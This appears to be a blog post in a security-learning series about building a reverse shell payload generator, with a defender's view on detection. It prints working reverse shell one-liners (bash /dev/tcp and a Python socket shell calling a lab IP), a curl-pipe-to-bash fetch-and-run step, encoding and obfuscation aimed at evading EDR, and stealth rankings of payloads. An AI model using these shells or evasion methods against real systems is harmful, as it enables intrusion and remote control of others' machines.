The Anatomy of a Reverse Shell: Building a Production-Grade Payload Generator
Digital Insights

The Anatomy of a Reverse Shell: Building a Production-Grade Payload Generator

Apr 01, 2026
28 min read
Kuldeep Singh

Day 12: Module 1 — Project 5. Yesterday I built the engine that detects reverse shells at the packet level. Today I built the engine that generates them. A 1,400-line payload generator with 25+ shell templates across 12 languages, an encoding pipeline, OPSEC scoring, MITRE ATT&CK tags, and a built-in TCP listener. This is the tool that forced me to understand why shells work—and exactly what makes them detectable.

📍 Journey Navigation Prev: Day 11 — The Engine of Detection: Building a DPI Packet Sniffer | Day 1 | Day 3 | Day 5 | | Day 6 | Day 7 | Day 8 | Day 9 | Day 10 | Day 11 |

Status: Day 12 of 90-day AI Security journey — Module 1 Project 5 (Completed) Projects Shipped: Shell Payload Generator (shellgen.py) GitHub: applied-ai-security-projects


The Symmetry of Attack and Defense

Day 11 I built a deep-packet inspection sniffer. It sits at the network level, decodes every layer of the OSI stack, and fires alerts when it sees port scan patterns, ARP spoofing, or suspicious connection states. It was the defender's engine — the thing that watches.

Today I built the other side of that equation.

Project 05: Shell Payload Generator is a 1,400-line CLI tool that generates reverse shell payloads across 25+ templates, 12 languages, and multiple encoding and obfuscation modes — with OPSEC scoring and MITRE ATT&CK tags baked in per payload.

The symmetry is intentional. In Day 11, I built the thing that would catch a shell. In Day 12, I built the thing that generates one. You cannot build good detection without understanding what you're detecting. You cannot understand what you're detecting without building the attack tool.

This project forced me to answer questions I had skated past on Day 5: Why does a bash one-liner work? What exactly is a reverse shell at the TCP level? Why does base64 encoding matter? What does an EDR actually flag? Building the generator meant I couldn't hand-wave any of those answers.


What a Reverse Shell Actually Is

Before the tool, the fundamentals.

A reverse shell is not a special exploit. It is a TCP connection initiated by the target back to the attacker, with the target's shell stdin/stdout/stderr redirected through that connection.

The "reverse" part matters because of firewalls. Most networks block inbound connections to machines inside the perimeter but allow outbound connections from those machines. A bind shell (target opens a port and listens) gets blocked. A reverse shell (target connects out to attacker) travels the same path as a legitimate web request.

The simplest possible reverse shell in bash:

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Breaking this down:

  • bash -i — interactive bash session
  • /dev/tcp/10.10.10.10/4444 — bash's built-in TCP pseudo-device, opens a TCP socket to the attacker's IP and port
  • >& /dev/tcp/... — redirects stdout and stderr into the TCP socket
  • 0>&1 — redirects stdin from fd 1 (which is now the TCP socket), so keyboard input comes from the socket

What travels over the wire: raw terminal I/O over a plain TCP connection. No encryption. No protocol header. A DPI sniffer (like the one I built yesterday) sees shell commands in cleartext. This is the baseline.

Everything else in the payload generator — Python shells, PowerShell, obfuscation, encoding — is a variation on this same primitive, with different evasion properties and detection signatures.


The Architecture: Six Classes, One Pipeline

shellgen.py is structured around six classes with a clear separation of concerns. Understanding the architecture is what makes this a learning tool rather than just a script.

PayloadTemplate (frozen dataclass)
       ↓
EncodingEngine (static, pure)
       ↓
ObfuscationEngine (static, pure)
       ↓
OpsecAnalyzer (scoring + detection notes)
       ↓
DeploymentPlanner (4-step attack workflow)
       ↓
TCPListener (built-in, threaded)

Class 1: PayloadTemplate — The Frozen Dataclass

Every shell template is a PayloadTemplate — a frozen dataclass. Frozen means it is immutable at runtime. You cannot accidentally mutate a template when generating a payload; you render a copy of the template string with substituted values.

@dataclass(frozen=True)
class PayloadTemplate:
    name: str
    lang: str
    platform: str
    template: str           # f-string with {lhost}/{lport} placeholders
    stealth_score: int      # 1–10, higher = stealthier
    opsec_notes: list[str]  # what an EDR/SIEM would flag
    mitre_tags: list[str]   # ATT&CK technique IDs
    encodings: list[str]    # which encoding modes this template supports
    listener_cmd: str       # the matching nc/socat listener command

The design decision here carries real weight. A mutable template registry is a concurrency bug waiting to happen. If the --cheatsheet mode generates 25 payloads in parallel and templates are mutable, you get race conditions where one render partially overwrites another's state. Frozen dataclasses eliminate the entire class of problem at the type level.

This is the same design reasoning behind Python's str being immutable. Strings are shared. Mutability in a shared context is a bug surface. Templates are shared across all renders — make them immutable.

Class 2: EncodingEngine — Pure Static, No Side Effects

The encoding engine is a pure static class. It takes a string in, returns a string out. No instance state. No I/O. No side effects.

class EncodingEngine:
    @staticmethod
    def plain(payload: str) -> str:
        return payload

    @staticmethod
    def b64(payload: str) -> str:
        encoded = base64.b64encode(payload.encode()).decode()
        return f"echo {encoded} | base64 -d | bash"

    @staticmethod
    def url(payload: str) -> str:
        return urllib.parse.quote(payload, safe='')

    @staticmethod
    def ps_enc(payload: str) -> str:
        # PowerShell -EncodedCommand expects UTF-16LE, not UTF-8
        utf16 = payload.encode('utf-16-le')
        encoded = base64.b64encode(utf16).decode()
        return f"powershell -EncodedCommand {encoded}"

The ps_enc mode taught me something non-obvious: PowerShell's -EncodedCommand flag does not use UTF-8. It uses UTF-16 Little Endian — the native Windows string encoding. If you base64-encode a UTF-8 string and pass it to -EncodedCommand, it silently fails or produces garbage. Every tutorial I'd read before said "base64 encode your PowerShell" — none of them mentioned the encoding. Building it revealed why.

The template system enforces compatibility: each PayloadTemplate declares which encodings it supports in its encodings: list[str] field. Trying to URL-encode a PowerShell payload is nonsensical — the template marks it as unsupported, and the generator rejects the combination before rendering. The type system enforces correctness at the data layer.

Class 3: ObfuscationEngine — Shallow and Intentional

The obfuscation engine does two things: random variable renaming and IP address splitting.

class ObfuscationEngine:
    @staticmethod
    def obfuscate_bash(payload: str) -> str:
        # Split IP into variable: 10.10.10.10 → a="10.10";b=".10.10"; IP=$a$b
        # Renames variable references to random strings
        ...

    @staticmethod
    def obfuscate_python(payload: str) -> str:
        # Replaces 'socket', 'subprocess', 'os' with chr() concatenations
        # e.g. 'socket' → chr(115)+chr(111)+chr(99)+chr(107)+chr(101)+chr(116)
        ...

The README is explicit about what this obfuscation does and does not do: it breaks static string matching. A SIEM rule that looks for the literal string /dev/tcp/10.10.10.10 in process command line logs will miss the split-variable version. But any rule that looks for bash -i >& regardless of the IP, or any EDR that observes the runtime behavior (a bash process opening a TCP connection to an external IP), catches it immediately.

This is the correct lesson. Shallow obfuscation is not evasion — it's a speed bump against the most naive detection. Understanding why it's shallow is more valuable than making it deeper.

The chr() substitution for Python payloads specifically teaches why behavioral detection beats signature detection. You can transform import socket into 13 individual chr() calls — the string socket never appears in the source — but at runtime, the Python interpreter still imports the socket module. The module import event is detectable at the OS level regardless of how the string was constructed at the source level. Runtime behavior is the ground truth. Source text is an approximation of intent.


The Payload Database: 25 Templates, 12 Languages

The full template set covers the realistic range of languages an attacker might find available on a compromised host:

LanguageWhy It Matters
bashDefault on Linux. No dependencies. Most common.
python3Almost always present. Cross-platform. Multiple socket variants.
perlLegacy Linux systems. Often not removed. Still works.
phpWeb servers. If you have a file write, you have code execution.
rubyDeveloper machines. Rails apps. Often overlooked.
powershellWindows. Signed binary. Lives in C:\Windows\System32.
javaEnterprise middleware. Runtime already installed.
goStatically compiled — no runtime dependency. Useful for droppers.
node.jsDev machines, build servers. npm ecosystem machines.
luaEmbedded systems. Game servers. Often ignored by EDR.
awkRarely monitored. Lives in coreutils. Surprisingly capable.
socatWhen netcat isn't available. More features.

The breadth matters for a specific reason: you don't get to choose the target environment. When you compromise a host, you use whatever runtime is already installed. A pentester who only knows bash reverse shells will fail on a Windows Active Directory environment. A pentester who only knows PowerShell will fail on a hardened Linux server that has blocked Python and bash -c execution. The template database forces you to understand why each language variant exists and when you'd reach for it.

The Stealth Score: Quantifying Detection Risk

Each template has a stealth_score from 1–10. This is not arbitrary — it reflects the realistic detection surface for each payload type:

PayloadStealth ScoreDetection Reason
bash /dev/tcp2/10/dev/tcp is rare in legitimate processes; EDR flags it instantly
bash -c 'exec …'3/10Spawning bash from a non-shell parent is suspicious
python3 socket4/10Python opening raw TCP sockets is unusual; SIEM rule-able
perl socket5/10Less monitored than Python; fewer behavioral baselines
php exec()4/10PHP calling system commands → immediate web shell signature
powershell IEX3/10Invoke-Expression is one of the most-flagged PowerShell patterns
powershell -EncodedCommand4/10Base64 blobs in PS command lines are common in legitimate software
lua socket7/10EDR/SIEM rarely has baselines for Lua process behavior
awk /inet8/10Nobody writes SIEM rules for awk network activity
go compiled9/10Statically compiled binary with no language runtime — hard to attribute

The scores compound with encoding. Plain bash with /dev/tcp is immediately detectable. Base64-encoded bash, piped through bash -c "$(echo ... | base64 -d)", breaks static string matching but doesn't hide the /dev/tcp usage at runtime. The OpsecAnalyzer adjusts the effective score:

class OpsecAnalyzer:
    @staticmethod
    def analyze(template: PayloadTemplate, encoded: bool, obfuscated: bool) -> OpsecResult:
        score = template.stealth_score
        notes = list(template.opsec_notes)

        if encoded:
            score = min(score + 1, 10)
            notes.append("Encoding breaks static string matching only — runtime behavior unchanged")

        if obfuscated:
            score = min(score + 1, 10)
            notes.append("Variable renaming evades naive regex rules; behavioral EDR unaffected")

        return OpsecResult(effective_score=score, detection_notes=notes)

The critical insight is the score ceiling at 10 and the explicit note that encoding does not change runtime behavior. This is honest tooling — it tells you exactly what protection you're getting and what you're not.


MITRE ATT&CK Integration: Framing Payloads as Techniques

Every template is tagged with the MITRE ATT&CK technique IDs it exercises. This is where the tool transitions from "cheat sheet wrapper" to "educational platform."

Sample tags from the bash /dev/tcp template:

  • T1059.004 — Command and Scripting Interpreter: Unix Shell
  • T1071.001 — Application Layer Protocol: Web Protocols (for HTTP-tunneled variants)
  • T1027 — Obfuscated Files or Information (when encoding is applied)
  • T1105 — Ingress Tool Transfer (when the --plan flag generates the HTTP server step)

Why this matters: when you tag a payload with T1059.004, you can immediately query the MITRE website for the detection guidance on that technique. MITRE documents the specific data sources defenders use, the detection logic, and the known sub-technique variations. The tag on the payload is a direct link to the defender's counter-playbook.

This is the dual-use principle encoded into the tool's metadata. You're not just generating a shell — you're labeling exactly where in the ATT&CK matrix it lives, which tells any defender where to look for detection coverage gaps.


The Deployment Planner: Thinking in Full Attack Chains

The --plan flag activates the DeploymentPlanner, which generates a 4-step workflow alongside the payload:

Step 1 — Start Listener (Attacker Machine)
  nc -lvnp 4444
  or: python3 shellgen.py --listen 4444

Step 2 — Host Payload via HTTP (Attacker Machine)
  python3 -m http.server 8080
  # payload.sh now accessible at http://<LHOST>:8080/payload.sh

Step 3 — Execute on Target
  curl http://<LHOST>:8080/payload.sh | bash

Step 4 — Stabilize Shell (PTY Upgrade)
  python3 -c 'import pty; pty.spawn("/bin/bash")'
  # Then: Ctrl+Z → stty raw -echo; fg → reset → export TERM=xterm

Step 4 is the one most tutorials skip. When you first catch a reverse shell, it's a dumb terminal: no tab completion, no arrow keys for history, Ctrl+C kills your shell instead of the running command, and nothing that requires a proper TTY (like sudo, vim, or ssh) works. The PTY upgrade sequence (python3 -c 'import pty; pty.spawn("/bin/bash")' plus the stty magic) turns the raw TCP socket into a fully interactive terminal.

The stty raw -echo invocation is what trips people up. You run it in your local terminal, not in the remote shell — it puts your local terminal into raw mode so that Ctrl+C and arrow keys are forwarded to the remote PTY instead of being consumed locally. If you run it in the wrong terminal, you've just made your local terminal unresponsive.

Building this into the DeploymentPlanner forced me to understand every step, not just the payload generation. The common failure mode isn't the payload — it's the post-exploitation handling.


The Built-In TCP Listener: Why nc Isn't Always Available

The --listen PORT flag starts an in-process TCP listener using Python's standard socket library. No netcat. No socat. Just the Python runtime that's already being used to run the tool.

class TCPListener:
    def __init__(self, port: int):
        self.port = port

    def start(self):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', self.port))
        server.listen(1)

        print(f"[*] Listening on 0.0.0.0:{self.port}")
        conn, addr = server.accept()
        print(f"[+] Connection from {addr[0]}:{addr[1]}")

        # Receive loop runs in daemon thread — exits when main thread exits
        recv_thread = threading.Thread(target=self._recv_loop, args=(conn,), daemon=True)
        recv_thread.start()

        # Main thread handles stdin → socket (keyboard → shell)
        try:
            while True:
                cmd = input()
                conn.send((cmd + '\n').encode())
        except (KeyboardInterrupt, EOFError):
            conn.close()

The threading split is deliberate: the receive loop runs in a daemon thread so it can print shell output without blocking; the main thread handles the interactive input loop. This is the same pattern I used in the DPI sniffer's stats dashboard — compute-heavy or blocking work goes to threads, interactive I/O stays on the main thread.

SO_REUSEADDR is a detail that matters in practice. Without it, if your listener crashes and you try to restart it immediately, the OS holds the port in TIME_WAIT state for up to 60 seconds. SO_REUSEADDR tells the kernel to reuse ports in TIME_WAIT. In a lab environment where you're frequently restarting listeners, this single socket option is the difference between instant restart and a 60-second wait.


What the DPI Sniffer Would See

The full-circle exercise: I built a DPI sniffer on Day 11. What would it detect when a payload from today's tool fires?

Plain bash /dev/tcp shell caught by the sniffer:

The sniffer's TCP state machine establishes the connection: SYN → SYN-ACK → ACK → ESTABLISHED. It then sees raw TCP data flowing bidirectionally. The application-layer parser has no HTTP or DNS to decode — it's just raw binary data. The sniffer would log: a new TCP session from the target to port 4444 on the attacker machine, with sustained bidirectional data flow. No application protocol identified.

What would flag it:

  • Port 4444 is not in the SERVICE_PROBES dictionary. Any connection to an unregistered port with bidirectional data flow is suspicious.
  • My Day 11 port scan detector fires on the outbound SYN if the target is probing multiple ports (e.g., if the payload tries several common listener ports before connecting). A single SYN to one IP would not trigger it.
  • The ARP spoof detector would not fire — this is a legitimate TCP connection.

The detection gap the sniffer has:

The sniffer cannot distinguish a legitimate TCP session from a shell session at the packet level if the shell is on a port that looks legitimate. A shell on port 443 looks exactly like HTTPS traffic to a sniffer that doesn't terminate TLS. A shell on port 80 looks like HTTP. This is why production malware uses HTTP/HTTPS C2 protocols — they blend with legitimate web traffic.

The Day 11 sniffer would catch a plaintext shell on a non-standard port. It would miss an HTTP-tunneled or TLS-wrapped shell entirely. This is not a failure of the sniffer — it's an architectural limitation. You need TLS inspection (SSL bump) in the network path to decrypt and inspect HTTPS sessions. That's a different tool for a different day.


The Encoding Pipeline in Practice

Here's what running the full pipeline looks like for a Python3 shell:

Plain:

python3 shellgen.py --lhost 10.10.10.10 --lport 4444 --name python3-socket

Output:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh","-i"])'

With base64 encoding:

python3 shellgen.py --lhost 10.10.10.10 --lport 4444 --name python3-socket --encode b64

Output:

echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2...
  | base64 -d | bash

With obfuscation:

python3 shellgen.py --lhost 10.10.10.10 --lport 4444 --name python3-socket --obfuscate

Output:

python3 -c 'import chr(115)+chr(111)+chr(99)+chr(107)+chr(101)+chr(116) as s_mod;
import chr(115)+chr(117)+chr(98)... '

The OPSEC report changes across these three modes:

Plain:       Stealth 4/10 — Python raw socket detectable by EDR; socket() + connect() syscalls logged
Base64:      Stealth 5/10 — Static string matching broken; runtime syscall pattern unchanged
Obfuscated:  Stealth 5/10 — Source obfuscation only; import events at OS level unchanged
Both:        Stealth 6/10 — Combined: breaks static + makes source analysis harder

The honest ceiling at 6/10 for a Python shell is the lesson. Modern EDR operates at the kernel level — it hooks the connect() syscall directly, not the Python source. You can obfuscate the source into unreadability, and the EDR still sees: a Python process called socket.connect() to an external IP on port 4444. That event is logged regardless of what the source looked like.


Filtering and the Cheat Sheet Mode

Two use cases I found genuinely useful during lab work:

Filtering by stealth for an environment with behavioral EDR:

python3 shellgen.py --lhost 10.10.10.10 --lport 4444 --platform linux --min-stealth 6

Returns only: lua, awk, and go templates — the ones that behavioral EDR has the fewest baselines for.

The cheat sheet — every shell, one output:

python3 shellgen.py --lhost 10.10.10.10 --lport 4444 --cheatsheet

Generates all 25+ templates at once, formatted for quick scanning during a lab session. This is the tool's equivalent of pentestmonkey's reverse shell cheat sheet — except it's live, parameterized with your actual IP/port, and shows OPSEC scores inline.

The --json flag pipes any output to structured JSON, which becomes useful when building automation around the generator. The design mirrors what I built in the network mapper and banner grabber: always support machine-readable output alongside human-readable output. Tools that only print pretty tables are tools you can't compose.


What Building This Changed

On Day 5, I worked through reverse shells as a concept. I understood them the way you understand an API: you call the right endpoint with the right parameters and it works. Today, I understand them mechanically.

I now know why /dev/tcp is unusual enough to flag — it's a bash built-in feature almost no legitimate process uses, so any invocation of it stands out in process auditing logs. I now know why PowerShell's -EncodedCommand has a higher baseline score than Invoke-Expression — it's legitimately used by enterprise management tools, so it generates more false positives in detection, making it a better evasion vector. I know why a Go compiled binary scores 9/10 — there's no language runtime to monitor, no module imports to hook, just a statically linked binary that looks like any other compiled application until it calls connect().

These aren't facts you can learn from a cheat sheet. They come from building the encoding engine and realizing the encoding doesn't help at runtime. They come from assigning stealth scores and having to justify each one. They come from writing the OPSEC notes and tracing through exactly what an EDR would log.

The tool is honest about what it is: a learning artifact for authorized environments, CTF work, and lab research. The README says this directly. Security tools without that framing are just malware with argparse.


Limitations I'm Documenting, Not Hiding

The obfuscation is shallow. A production evasion framework (Veil, Shikata Ga Nai, polymorphic encoders) does multiple rounds of encoding, inserts junk code, re-encrypts the payload on each execution. My obfuscation does one pass of variable renaming. It teaches the concept. It does not implement production evasion.

The OPSEC scores are manual. I assigned them based on research and lab observation. Real red teamers calibrate these scores empirically — they run a payload against a specific EDR version in a lab, observe what fires, and adjust. My scores are directionally correct but not empirically validated against a specific product stack.

The listener is minimal. The built-in TCPListener handles one connection. Production C2 frameworks (Cobalt Strike, Sliver, Havoc) handle multiple simultaneous callbacks, support encrypted channels, implement jitter in check-in timing, and have full command routing. Mine handles interactive I/O on a single connection. The architecture is correct; the feature coverage is intentionally limited.

No HTTPS tunneling. Every payload I generate uses raw TCP. Modern malware uses HTTPS to blend with browser traffic. I don't handle TLS wrapping here — that's a future project.

These limitations are in the README. Knowing what a tool cannot do is part of understanding what it can.


The Architecture Decision That Mattered Most

Looking back at the six-class design, the decision that compounded most was making PayloadTemplate a frozen dataclass.

The alternative — a dictionary of template strings — is five minutes of work. It also means that adding a new feature (like encoding support flags or MITRE tags) requires modifying every template manually and trusting that the rendering logic handles the new field correctly. There's no type checking. No guarantees that a new template correctly specifies its OPSEC notes. No way to enforce that every template has a listener command.

The frozen dataclass makes all of this explicit. If I add a field to PayloadTemplate, every template that doesn't include that field is a compile-time error. The type system forces completeness. This is not academic — I added the listener_cmd field halfway through development, and the type checker immediately identified every template I hadn't updated. In a dictionary-based design, that would have been a runtime KeyError I discovered later, in a demo, in the worst possible moment.

Software engineering discipline in security tooling matters. A red team tool with a bug at the wrong moment is worse than no tool at all — it produces misleading output, or crashes mid-operation, or silently generates an incorrect payload that connects to the wrong IP. The same rigor that makes production backend code reliable applies here.


Module 1 Project Count: 5 of 5

This is the fifth project in Module 1's Week 1. The arc of what they cover:

  1. Port Scanner — What ports are open? What services are running?
  2. Network Mapper — What hosts exist? What OS are they running?
  3. Banner Grabber — What exact versions? What CVEs apply?
  4. Packet Sniffer — What's flowing through the network right now?
  5. Shell Payload Generator — What do I do once I have code execution?

The progression is the complete offensive workflow: discovery → enumeration → exploitation surface → detection → post-exploitation. I now have functional implementations of each step, built from scratch, with documented limitations, and with the defender perspective woven into every tool.

Module 1 isn't finished — there are labs and the formal capstone writeup still to complete. But the five core tools are shipped. The foundation is in place.


Day 12 of 90 | Module 1 Project 5: ✅ Shipped | Payload Generator: ✅ Complete | 25+ Templates: ✅ Working | Encoding Pipeline: ✅ Working | OPSEC Scoring: ✅ Live | MITRE Tags: ✅ Integrated | Built-in Listener: ✅ Working | GitHub: kuldeepstechwork/applied-ai-security-projects


CybersecurityPythonOffensive SecurityReverse ShellsOPSECMITRE ATT&CKPayload Engineering
Continue Reading

More Engineering Insights

Browse All Technical Posts